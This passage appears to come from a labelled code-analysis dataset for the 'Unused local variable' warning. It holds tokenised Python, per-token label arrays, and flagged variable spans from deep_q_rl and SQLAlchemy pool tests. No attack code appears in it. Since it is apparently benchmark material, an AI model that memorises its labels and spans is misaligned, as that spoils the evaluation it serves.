"\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Entry_", "(_", "Test", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "02", "\\u", "error", "\\u", "info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error", "\\u", "d_", "=_", "Error", "\\u", "Document_", "(_", "ED_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Error", " ", "href", " ", "is", " ", "not", " ", "a", " ", "know", "n", " ", "SW", "ORD", "2", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "info_", "[_", "'", "IRI", "'_", "]_", "==_", "\"", "http", "://", "example", ".", "org", "/", "error", "s", "/", "Ba", "d", "Manifest", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "info_", "[_", "'", "name", "'_", "]_", "==_", "\"", "UNK", "NOW", "NER", "ROR", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Entry_", "(_", "Test", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "03", "\\u", "init", "\\u", "with", "\\u", "know", "n", "\\u", "error", "\\u", "iri", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error", "\\u", "d_", "=_", "Error", "\\u", "Document_", "(_", "ED", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "href_", "==_", "\"", "http", "://", "pur", "l", ".", "org", "/", "net", "/", "sword", "/", "error", "/", "Target", "Owne", "r", "Un", "know", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "info_", "[_", "'", "name", "'_", "]_", "==_", "\"", "Target", "Owne", "r", "Un", "know", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Entry_", "(_", "Test", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "04", "\\u", "validat", "e\\u", "code", "\\u", "with", "\\u", "know", "n", "\\u", "error", "\\u", "iri", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error", "\\u", "d_", "=_", "Error", "\\u", "Document_", "(_", "ED", "2_", ",_", "code_", "=_", "403_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "href_", "==_", "\"", "http", "://", "pur", "l", ".", "org", "/", "net", "/", "sword", "/", "error", "/", "Target", "Owne", "r", "Un", "know", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "info_", "[_", "'", "name", "'_", "]_", "==_", "\"", "Target", "Owne", "r", "Un", "know", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "info_", "[_", "'", "codes", "'_", "]_", "==_", "[_", "403_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Entry_", "(_", "Test", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "04", "\\u", "invalid", "\\u", "code", "\\u", "with", "\\u", "know", "n", "\\u", "error", "\\u", "iri", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error", "\\u", "d_", "=_", "Error", "\\u", "Document_", "(_", "ED", "2_", ",_", "code_", "=_", "499", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "href_", "==_", "\"", "http", "://", "pur", "l", ".", "org", "/", "net", "/", "sword", "/", "error", "/", "Target", "Owne", "r", "Un", "know", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "info_", "[_", "'", "name", "'_", "]_", "==_", "\"", "UNK", "NOW", "NER", "ROR", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "info_", "[_", "'", "codes", "'_", "]_", "==_", "[_", "499", "_", "]_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
spragunr/deep_q_rl/deep_q_rl/ale_data_set.py
[ { "content": "def speed_tests():\n\n dataset = DataSet(width=80, height=80,\n rng=np.random.RandomState(42),\n max_steps=20000, phi_length=4)\n\n img = np.random.randint(0, 256, size=(80, 80))\n action = np.random.randint(16)\n reward = np.random.random()\n start = time.time()\n for i in range(100000):\n terminal = False\n if np.random.random() < .05:\n terminal = True\n dataset.add_sample(img, action, reward, terminal)\n print \"samples per second: \", 100000 / (time.time() - start)\n\n start = time.time()\n for i in range(200):\n a = dataset.random_batch(32)\n print \"batches per second: \", 200 / (time.time() - start)\n\n print dataset.last_phi()", "metadata": "root.speed_tests", "header": "['module', '___EOS___']", "index": 172 }, { "content": "def test_memory_usage_ok():\n import memory_profiler\n dataset = DataSet(width=80, height=80,\n rng=np.random.RandomState(42),\n max_steps=100000, phi_length=4)\n last = time.time()\n\n for i in xrange(1000000000):\n if (i % 100000) == 0:\n print i\n dataset.add_sample(np.random.random((80, 80)), 1, 1, False)\n if i > 200000:\n states, actions, rewards, next_states, terminals = \\\n dataset.random_batch(32)\n if (i % 10007) == 0:\n print time.time() - last\n mem_usage = memory_profiler.memory_usage(-1)\n print len(dataset), mem_usage\n last = time.time()", "metadata": "root.test_memory_usage_ok", "header": "['module', '___EOS___']", "index": 235 } ]
[ { "span": "a ", "start_line": 191, "start_column": 8, "end_line": 191, "end_column": 9 }, { "span": "states,", "start_line": 247, "start_column": 12, "end_line": 247, "end_column": 18 }, { "span": "actions,", "start_line": 247, "start_column": 20, "end_line": 247, "end_column": 27 }, { "span": "rewards,", "start_line": 247, "start_column": 29, "end_line": 247, "end_column": 36 }, { "span": "next_states,", "start_line": 247, "start_column": 38, "end_line": 247, "end_column": 49 }, { "span": "terminals ", "start_line": 247, "start_column": 51, "end_line": 247, "end_column": 60 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "speed", "\\u", "tests_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dataset_", "=_", "Data", "Set_", "(_", "width_", "=_", "80_", ",_", "height_", "=_", "80_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rng_", "=_", "np_", "._", "random_", "._", "Random", "State_", "(_", "42_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "steps_", "=_", "20000_", ",_", "phi", "\\u", "length_", "=_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "img_", "=_", "np_", "._", "random_", "._", "randint_", "(_", "0_", ",_", "256_", ",_", "size_", "=_", "(_", "80_", ",_", "80_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "action_", "=_", "np_", "._", "random_", "._", "randint_", "(_", "16_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reward_", "=_", "np_", "._", "random_", "._", "random_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "100000_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "terminal_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "np_", "._", "random_", "._", "random_", "(_", ")_", "<_", ".05_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "terminal_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dataset_", "._", "add", "\\u", "sample_", "(_", "img_", ",_", "action_", ",_", "reward_", ",_", "terminal_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "samples", " ", "per", " ", "second", ":", " ", "\"_", ",_", "100000_", "/_", "(_", "time_", "._", "time_", "(_", ")_", "-_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "200_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "dataset_", "._", "random", "\\u", "batch_", "(_", "32_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "batche", "s", " ", "per", " ", "second", ":", " ", "\"_", ",_", "200_", "/_", "(_", "time_", "._", "time_", "(_", ")_", "-_", "start_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "dataset_", "._", "last", "\\u", "phi_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "memory", "\\u", "usage", "\\u", "ok_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "memory", "\\u", "profiler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataset_", "=_", "Data", "Set_", "(_", "width_", "=_", "80_", ",_", "height_", "=_", "80_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rng_", "=_", "np_", "._", "random_", "._", "Random", "State_", "(_", "42_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "steps_", "=_", "100000_", ",_", "phi", "\\u", "length_", "=_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "1000000000", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "i_", "%_", "100000_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dataset_", "._", "add", "\\u", "sample_", "(_", "np_", "._", "random_", "._", "random_", "(_", "(_", "80_", ",_", "80_", ")_", ")_", ",_", "1_", ",_", "1_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", ">_", "200000", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "states_", ",_", "actions_", ",_", "rewards_", ",_", "next", "\\u", "states_", ",_", "terminals", "_", "=_", "dataset_", "._", "random", "\\u", "batch_", "(_", "32_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "i_", "%_", "1000", "7_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "time_", "._", "time_", "(_", ")_", "-_", "last_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mem", "\\u", "usage_", "=_", "memory", "\\u", "profiler_", "._", "memory", "\\u", "usage_", "(_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "len_", "(_", "dataset_", ")_", ",_", "mem", "\\u", "usage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "last_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
zzzeek/sqlalchemy/test/engine/test_pool.py
[ { "content": " def test_first_connect_event(self):\n p, canary = self._first_connect_event_fixture()\n\n c1 = p.connect()\n eq_(canary, ['first_connect'])", "metadata": "root.PoolEventsTest.test_first_connect_event", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 407 }, { "content": " def test_first_connect_event_fires_once(self):\n p, canary = self._first_connect_event_fixture()\n\n c1 = p.connect()\n c2 = p.connect()\n\n eq_(canary, ['first_connect'])", "metadata": "root.PoolEventsTest.test_first_connect_event_fires_once", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 413 }, { "content": " def test_first_connect_on_previously_recreated(self):\n p, canary = self._first_connect_event_fixture()\n\n p2 = p.recreate()\n c1 = p.connect()\n c2 = p2.connect()\n\n eq_(canary, ['first_connect', 'first_connect'])", "metadata": "root.PoolEventsTest.test_first_connect_on_previously_recreated", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 421 }, { "content": " def test_first_connect_on_subsequently_recreated(self):\n p, canary = self._first_connect_event_fixture()\n\n c1 = p.connect()\n p2 = p.recreate()\n c2 = p2.connect()\n\n eq_(canary, ['first_connect', 'first_connect'])", "metadata": "root.PoolEventsTest.test_first_connect_on_subsequently_recreated", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 430 }, { "content": " def test_connect_event(self):\n p, canary = self._connect_event_fixture()\n\n c1 = p.connect()\n eq_(canary, ['connect'])", "metadata": "root.PoolEventsTest.test_connect_event", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 439 }, { "content": " def test_connect_event_fires_subsequent(self):\n p, canary = self._connect_event_fixture()\n\n c1 = p.connect()\n c2 = p.connect()\n\n eq_(canary, ['connect', 'connect'])", "metadata": "root.PoolEventsTest.test_connect_event_fires_subsequent", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 445 }, { "content": " def test_connect_on_previously_recreated(self):\n p, canary = self._connect_event_fixture()\n\n p2 = p.recreate()\n\n c1 = p.connect()\n c2 = p2.connect()\n\n eq_(canary, ['connect', 'connect'])", "metadata": "root.PoolEventsTest.test_connect_on_previously_recreated", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 453 }, { "content": " def test_connect_on_subsequently_recreated(self):\n p, canary = self._connect_event_fixture()\n\n c1 = p.connect()\n p2 = p.recreate()\n c2 = p2.connect()\n\n eq_(canary, ['connect', 'connect'])", "metadata": "root.PoolEventsTest.test_connect_on_subsequently_recreated", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 463 }, { "content": " def test_checkout_event(self):\n p, canary = self._checkout_event_fixture()\n\n c1 = p.connect()\n eq_(canary, ['checkout'])", "metadata": "root.PoolEventsTest.test_checkout_event", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 472 }, { "content": " def test_checkout_event_fires_subsequent(self):\n p, canary = self._checkout_event_fixture()\n\n c1 = p.connect()\n c2 = p.connect()\n eq_(canary, ['checkout', 'checkout'])", "metadata": "root.PoolEventsTest.test_checkout_event_fires_subsequent", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 478 }, { "content": " def test_checkout_event_on_subsequently_recreated(self):\n p, canary = self._checkout_event_fixture()\n\n c1 = p.connect()\n p2 = p.recreate()\n c2 = p2.connect()\n\n eq_(canary, ['checkout', 'checkout'])", "metadata": "root.PoolEventsTest.test_checkout_event_on_subsequently_recreated", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 485 }, { "content": " def _do_testqueuepool(self, useclose=False):\n p = self._queuepool_fixture(pool_size=3,\n max_overflow=-1)\n\n def status(pool):\n return pool.size(), pool.checkedin(), pool.overflow(), \\\n pool.checkedout()\n\n c1 = p.connect()\n self.assert_(status(p) == (3, 0, -2, 1))\n c2 = p.connect()\n self.assert_(status(p) == (3, 0, -1, 2))\n c3 = p.connect()\n self.assert_(status(p) == (3, 0, 0, 3))\n c4 = p.connect()\n self.assert_(status(p) == (3, 0, 1, 4))\n c5 = p.connect()\n self.assert_(status(p) == (3, 0, 2, 5))\n c6 = p.connect()\n self.assert_(status(p) == (3, 0, 3, 6))\n if useclose:\n c4.close()\n c3.close()\n c2.close()\n else:\n c4 = c3 = c2 = None\n lazy_gc()\n self.assert_(status(p) == (3, 3, 3, 3))\n if useclose:\n c1.close()\n c5.close()\n c6.close()\n else:\n c1 = c5 = c6 = None\n lazy_gc()\n self.assert_(status(p) == (3, 3, 0, 0))\n c1 = p.connect()\n c2 = p.connect()\n self.assert_(status(p) == (3, 1, 0, 2), status(p))\n if useclose:\n c2.close()\n else:\n c2 = None\n lazy_gc()\n self.assert_(status(p) == (3, 2, 0, 1))\n c1.close()\n lazy_gc()\n assert not pool._refs", "metadata": "root.QueuePoolTest._do_testqueuepool", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 945 }, { "content": " @testing.requires.timing_intensive\n def test_timeout(self):\n p = self._queuepool_fixture(pool_size=3,\n max_overflow=0,\n timeout=2)\n c1 = p.connect()\n c2 = p.connect()\n c3 = p.connect()\n now = time.time()\n try:\n c4 = p.connect()\n assert False\n except tsa.exc.TimeoutError:\n assert int(time.time() - now) == 2", "metadata": "root.QueuePoolTest.test_timeout", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 994 }, { "content": " def test_overflow_reset_on_failed_connect(self):\n dbapi = Mock()\n\n def failing_dbapi():\n time.sleep(2)\n raise Exception(\"connection failed\")\n\n creator = dbapi.connect\n\n def create():\n return creator()\n\n p = pool.QueuePool(creator=create, pool_size=2, max_overflow=3)\n c1 = self._with_teardown(p.connect())\n c2 = self._with_teardown(p.connect())\n c3 = self._with_teardown(p.connect())\n eq_(p._overflow, 1)\n creator = failing_dbapi\n assert_raises(Exception, p.connect)\n eq_(p._overflow, 1)", "metadata": "root.QueuePoolTest.test_overflow_reset_on_failed_connect", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1091 }, { "content": " @testing.requires.threading_with_mock\n @testing.requires.timing_intensive\n def test_waiters_handled(self):\n \"\"\"test that threads waiting for connections are\n handled when the pool is replaced.\n\n \"\"\"\n mutex = threading.Lock()\n dbapi = MockDBAPI()\n\n def creator():\n mutex.acquire()\n try:\n return dbapi.connect()\n finally:\n mutex.release()\n\n success = []\n for timeout in (None, 30):\n for max_overflow in (0, -1, 3):\n p = pool.QueuePool(creator=creator,\n pool_size=2, timeout=timeout,\n max_overflow=max_overflow)\n\n def waiter(p, timeout, max_overflow):\n success_key = (timeout, max_overflow)\n conn = p.connect()\n success.append(success_key)\n time.sleep(.1)\n conn.close()\n\n c1 = p.connect()\n c2 = p.connect()\n\n threads = []\n for i in range(2):\n t = threading.Thread(target=waiter,\n args=(p, timeout, max_overflow))\n t.daemon = True\n t.start()\n threads.append(t)\n\n # this sleep makes sure that the\n # two waiter threads hit upon wait()\n # inside the queue, before we invalidate the other\n # two conns\n time.sleep(.2)\n p._invalidate(c2)\n\n for t in threads:\n t.join(join_timeout)\n\n eq_(len(success), 12, \"successes: %s\" % success)", "metadata": "root.QueuePoolTest.test_waiters_handled", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1173 }, { "content": " def test_mixed_close(self):\n pool._refs.clear()\n p = self._queuepool_fixture(pool_size=3, max_overflow=-1,\n use_threadlocal=True)\n c1 = p.connect()\n c2 = p.connect()\n assert c1 is c2\n c1.close()\n c2 = None\n assert p.checkedout() == 1\n c1 = None\n lazy_gc()\n assert p.checkedout() == 0\n lazy_gc()\n assert not pool._refs", "metadata": "root.QueuePoolTest.test_mixed_close", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1348 }, { "content": " def _assert_cleanup_on_pooled_reconnect(self, dbapi, p):\n # p is QueuePool with size=1, max_overflow=2,\n # and one connection in the pool that will need to\n # reconnect when next used (either due to recycle or invalidate)\n\n with self._no_wr_finalize():\n eq_(p.checkedout(), 0)\n eq_(p._overflow, 0)\n dbapi.shutdown(True)\n assert_raises(\n Exception,\n p.connect\n )\n eq_(p._overflow, 0)\n eq_(p.checkedout(), 0) # and not 1\n\n dbapi.shutdown(False)\n\n c1 = self._with_teardown(p.connect())\n assert p._pool.empty() # poolsize is one, so we're empty OK\n c2 = self._with_teardown(p.connect())\n eq_(p._overflow, 1) # and not 2\n\n # this hangs if p._overflow is 2\n c3 = self._with_teardown(p.connect())", "metadata": "root.QueuePoolTest._assert_cleanup_on_pooled_reconnect", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1501 }, { "content": " @testing.requires.timing_intensive\n def test_recycle_pool_no_race(self):\n def slow_close():\n slow_closing_connection._slow_close()\n time.sleep(.5)\n\n slow_closing_connection = Mock()\n slow_closing_connection.connect.return_value.close = slow_close\n\n class Error(Exception):\n pass\n\n dialect = Mock()\n dialect.is_disconnect = lambda *arg, **kw: True\n dialect.dbapi.Error = Error\n\n pools = []\n\n class TrackQueuePool(pool.QueuePool):\n def __init__(self, *arg, **kw):\n pools.append(self)\n super(TrackQueuePool, self).__init__(*arg, **kw)\n\n def creator():\n return slow_closing_connection.connect()\n p1 = TrackQueuePool(creator=creator, pool_size=20)\n\n from sqlalchemy import create_engine\n eng = create_engine(testing.db.url, pool=p1, _initialize=False)\n eng.dialect = dialect\n\n # 15 total connections\n conns = [eng.connect() for i in range(15)]\n\n # return 8 back to the pool\n for conn in conns[3:10]:\n conn.close()\n\n def attempt(conn):\n time.sleep(random.random())\n try:\n conn._handle_dbapi_exception(Error(), \"statement\", {},\n Mock(), Mock())\n except tsa.exc.DBAPIError:\n pass\n\n # run an error + invalidate operation on the remaining 7 open\n #connections\n threads = []\n for conn in conns:\n t = threading.Thread(target=attempt, args=(conn, ))\n t.start()\n threads.append(t)\n\n for t in threads:\n t.join()\n\n # return all 15 connections to the pool\n for conn in conns:\n conn.close()\n\n # re-open 15 total connections\n conns = [eng.connect() for i in range(15)]\n\n # 15 connections have been fully closed due to invalidate\n assert slow_closing_connection._slow_close.call_count == 15\n\n # 15 initial connections + 15 reconnections\n assert slow_closing_connection.connect.call_count == 30\n assert len(pools) <= 2, len(pools)", "metadata": "root.QueuePoolTest.test_recycle_pool_no_race", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1649 }, { "content": " def test_detach(self):\n dbapi, p = self._queuepool_dbapi_fixture(pool_size=1, max_overflow=0)\n c1 = p.connect()\n c1.detach()\n c2 = p.connect()\n eq_(dbapi.connect.mock_calls, [call(\"foo.db\"), call(\"foo.db\")])\n\n c1_con = c1.connection\n assert c1_con is not None\n eq_(c1_con.close.call_count, 0)\n c1.close()\n eq_(c1_con.close.call_count, 1)", "metadata": "root.QueuePoolTest.test_detach", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1760 }, { "content": " def test_connect_error(self):\n dbapi = MockDBAPI()\n p = pool.AssertionPool(creator=lambda: dbapi.connect('foo.db'))\n c1 = p.connect()\n assert_raises(AssertionError, p.connect)", "metadata": "root.AssertionPoolTest.test_connect_error", "header": "['class', 'AssertionPoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1948 }, { "content": " def test_connect_multiple(self):\n dbapi = MockDBAPI()\n p = pool.AssertionPool(creator=lambda: dbapi.connect('foo.db'))\n c1 = p.connect()\n c1.close()\n c2 = p.connect()\n c2.close()\n\n c3 = p.connect()\n assert_raises(AssertionError, p.connect)", "metadata": "root.AssertionPoolTest.test_connect_multiple", "header": "['class', 'AssertionPoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1954 }, { "content": " def test_reconnect(self):\n dbapi = MockDBAPI()\n p = pool.NullPool(creator=lambda: dbapi.connect('foo.db'))\n c1 = p.connect()\n\n c1.close()\n c1 = None\n\n c1 = p.connect()\n c1.invalidate()\n c1 = None\n\n c1 = p.connect()\n dbapi.connect.assert_has_calls([\n call('foo.db'),\n call('foo.db')],\n any_order=True)", "metadata": "root.NullPoolTest.test_reconnect", "header": "['class', 'NullPoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 1967 } ]
[ { "span": "c1 ", "start_line": 410, "start_column": 8, "end_line": 410, "end_column": 10 }, { "span": "c1 ", "start_line": 416, "start_column": 8, "end_line": 416, "end_column": 10 }, { "span": "c2 ", "start_line": 417, "start_column": 8, "end_line": 417, "end_column": 10 }, { "span": "c1 ", "start_line": 425, "start_column": 8, "end_line": 425, "end_column": 10 }, { "span": "c2 ", "start_line": 426, "start_column": 8, "end_line": 426, "end_column": 10 }, { "span": "c1 ", "start_line": 433, "start_column": 8, "end_line": 433, "end_column": 10 }, { "span": "c2 ", "start_line": 435, "start_column": 8, "end_line": 435, "end_column": 10 }, { "span": "c1 ", "start_line": 442, "start_column": 8, "end_line": 442, "end_column": 10 }, { "span": "c1 ", "start_line": 448, "start_column": 8, "end_line": 448, "end_column": 10 }, { "span": "c2 ", "start_line": 449, "start_column": 8, "end_line": 449, "end_column": 10 }, { "span": "c1 ", "start_line": 458, "start_column": 8, "end_line": 458, "end_column": 10 }, { "span": "c2 ", "start_line": 459, "start_column": 8, "end_line": 459, "end_column": 10 }, { "span": "c1 ", "start_line": 466, "start_column": 8, "end_line": 466, "end_column": 10 }, { "span": "c2 ", "start_line": 468, "start_column": 8, "end_line": 468, "end_column": 10 }, { "span": "c1 ", "start_line": 475, "start_column": 8, "end_line": 475, "end_column": 10 }, { "span": "c1 ", "start_line": 481, "start_column": 8, "end_line": 481, "end_column": 10 }, { "span": 